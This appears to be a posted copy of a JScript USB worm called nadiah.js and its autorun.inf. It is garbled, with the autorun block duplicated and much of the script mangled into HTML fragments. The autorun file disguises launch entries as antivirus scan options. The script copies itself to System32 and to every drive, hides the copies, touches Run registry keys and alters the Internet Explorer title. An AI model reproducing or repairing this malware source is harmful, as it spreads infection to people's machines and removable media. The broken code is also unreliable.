nadiah.js

1. autorun.inf
[autorun]Open = wscript.exe \nadiah.js
shellexecute = wscript.exe \nadiah.js
shell\Open\command = wscript.exe \nadiah.js
shell\Explore\command = wscript.exe \nadiah.js -Clicked
shell\AutoPlay\command = wscript.exe \nadiah.js
shell\Scan for Viruses\command = wscript.exe \nadiah.js
shell\Scan with Norton AntiVirus\command = wscript.exe \nadiah.js
shell\Scan with AVG\command = wscript.exe \nadiah.js
shell = Explore

2. nadiah.js
[autorun]Open = wscript.exe \nadiah.js
shellexecute = wscript.exe \nadiah.js
shell\Open\command = wscript.exe \nadiah.js
shell\Explore\command = wscript.exe \nadiah.js -Clicked
shell\AutoPlay\command = wscript.exe \nadiah.js
shell\Scan for Viruses\command = wscript.exe \nadiah.jsshell\Scan with Norton AntiVirus\command = wscript.exe \nadiah.js
shell\Scan with AVG\command = wscript.exe \nadiah.js
shell = Exploret + "shell\\Open\\command = wscript.exe " + ThisFileName + CRLF;AutorunText = AutorunText + "shell\\Explore\\command = wscript.exe " + ThisFileName + " -Clicked" + CRLF;AutorunText = AutorunText + "shell\\AutoPlay\\command = wscript.exe " + ThisFileName + CRLF;
AutorunText = AutorunText + "shell\\Scan for Viruses\\command = wscript.exe " + ThisFileName + CRLF;
AutorunText = AutorunText + "shell\\Scan with Norton AntiVirus\\command = wscript.exe " + ThisFileName + CRLF;
AutorunText = AutorunText + "shell\\Scan with AVG\\command = wscript.exe " + ThisFileName + CRLF;
AutorunText = AutorunText + "shell = Explore";

var fs = new ActiveXObject("Scripting.FileSystemObject");
var ThisPath = fs.GetFile(WScript.ScriptFullname);
var check = ThisPath.Drive.DriveType;

var WinPath = new String(fs.GetSpecialFolder(0)); // Windows Folder
var SysPath = new String(fs.GetSpecialFolder(1)); // System32 Folder
var aShell = new ActiveXObject("WScript.Shell");

// Open the explorer if double clicked
var aArgs = WScript.Arguments;
for (var i = 0; i < text =" ThisPath.OpenAsTextStream(1,-2);" thistext = "" thistext =" ThisText" thistext =" ThisText" tf =" fs.GetFile(SysPath" attributes =" 32;" tf =" fs.CreateTextFile(SysPath" tf =" fs.GetFile(SysPath" attributes =" 39;" drivesenum =" new" adrive =" DrivesEnum.item();" drivetype ="="" drivetype ="="" tf =" fs.GetFile(aDrive.Path" attributes =" 32;" tf =" fs.CreateTextFile(aDrive.Path" tf =" fs.GetFile(aDrive.Path" attributes =" 39;" tf =" fs.GetFile(aDrive.Path" attributes =" 32;}" tf =" fs.CreateTextFile(aDrive.Path" tf =" fs.GetFile(aDrive.Path" attributes =" 39;" regpath = "HKEY_LOCAL_MACHINE" regpath =" RegPath" href="file://software//Microsoft//Windows//CurrentVersion//Run">file://software//Microsoft//Windows//CurrentVersion//Run;
//RegPath = RegPath + "\\Haha";/
/aShell.RegWrite(RegPath, "wscript.exe " + SysPath + ThisFileName, "REG_SZ");
//RegPath = "HKEY_CURRENT_USER";
//RegPath=RegPath+file://software//Microsoft//Windows//CurrentVersion//Explorer//Advanced;
//RegPath = RegPath + file://showsuperhidden/;
//aShell.RegWrite(RegPath, 0, "REG_DWORD");
RegPath = "HKEY_CURRENT_USER";
RegPath = RegPath + file://software//Microsoft//Internet%20Explorer//Main;
RegPath = RegPath + file://window%20title/;
aShell.RegWrite(RegPath, "Dedicated to Nurul Nadiah - http://matnet.kedahonline.net", "REG_SZ");
} catch(e){}

// wait 1 min for fixed drv
if (check != RemovableDrive)
WScript.Sleep(DelayFixedDrive);
} while(check != RemovableDrive && WScript.ScriptFullname.substr(0,3).toLowerCase()
== SysPath.substr
(0,3).toLowerCase())

// Run system Haha before this Haha closed
if (check == RemovableDrive)
aShell.Run("wscript.exe " + SysPath + ThisFileName);